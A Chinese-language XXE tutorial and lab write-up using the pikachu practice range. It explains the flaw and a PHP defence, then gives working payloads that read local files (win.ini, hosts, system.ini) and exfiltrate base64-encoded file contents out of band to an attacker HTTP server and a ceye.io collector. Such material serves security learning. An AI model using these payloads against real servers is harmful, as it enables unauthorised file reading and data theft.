一、原理:
XXE漏洞全称即XML外部实体注入漏洞。
攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件),导致可加载恶意外部文件,利用file协议造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
一句话概括:用户传入的XML被解析成实体执行
二、危害:
1.导致可以加载恶意外部文件
2.造成文件读取
3.内网端口扫描
4.攻击内网网站
5.发起dos攻击等危害
三、防御:
过滤用户提交的XML数据。
如果你当前使用的程序为PHP,则可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体,起到防御的目的。
二、基本利用(pikachu):
将payload注入XML文件中,一旦文件被执行,将会读取服务器上的本地文件,并对内网发起访问扫描内部网络端口。
有回显::::
1、检测XML是否会被解析
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE note [
<!ENTITY hack "test">
]>
<name>&hack;</name>
页面若输出了test,说明xml文件可以被解析
2、通过外部实体(file协议)读取文件
XML内容被解析后,使用,文件内容便通过被存放在了XXE元素中,造成了敏感信息的泄露,在服务端开启了DTD外部引用且没有对DTD对象进行过滤的情况下, 可以利用DTD引用系统关键文件:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE note [
<!ENTITY hack SYSTEM "file:///windows/win.ini">
]>
<name>&hack;</name>
外部实体引用 Payload,访问服务器上的hosts文件
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY f SYSTEM "file:///C://Windows/System32/drivers/etc/hosts">
]>
<x>&f;</x>
无回显::::
服务器日志回显
通过服务器请求包的信息来查看并读取文件。
win7靶场机IP:192.168.200.34,
KALI充当攻击机IP:192.168.200.14
在KALI上用python开启http服务,输入命令
python3 -m http.server 80
然后在kali中新建一个xxe.dtd文件
<!ENTITY % file SYSTEM
"php://filter/read=convert.base64-encode/resource=file:///C:/m.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.200.14?c=%file;'>">
在靶机c盘下创建一个m.txt(也可以读取其他敏感文件,进行验证)
payload
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.200.14/xxe.dtd">
%remote;%int;%send;
]>
前台页面执行完是不回显得
回到KALI开启得http服务器终端上,能提交数据的请求包信息
xxe.txt里面的内容被警告base64加密后所外带显示出来了c=d2VsY29tZQ==
补充:
我这里一开始将创建得xxe.dtd文件放在了桌面上,因为这个权限是很低得,KALI应该自带什么防御机制,所以文件始终无法读取,出现404得报错信息,直到将文件放在root目录下便解决
3、利用CEYE.IO平台
(1)利用公网服务器,查看日志记录
(2)利用DNSLOG,查看访问记录
(3)利用CEYE.io带出数据进行查看
通过外部实体注入test.dtd
创建test.dtd文件,将里面得个人标识符进行替换
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/system.ini">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ddol7e.ceye.io/?p=%file;'>">
构造得xml:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://192.168.200.34/test.dtd">
%remote;%int;%send;%file;
]>
参考文章:https://blog.csdn.net/qq_45612828/article/details/126116429
来到后台查看HTTP请求页面,进行base64解码便可得到明文
另一种解析得结果查看方式
四、代码审计
对源码进行分析
表明传入的XML实体,要以POST方式进行传参,并且值不得为空
另外可以看到当data变量值为真时,才会会先内容
在此处,当点击提交的时候,会输入html变量得数据,所以便将此处得php语言删除就好,就不会在前台会显出内容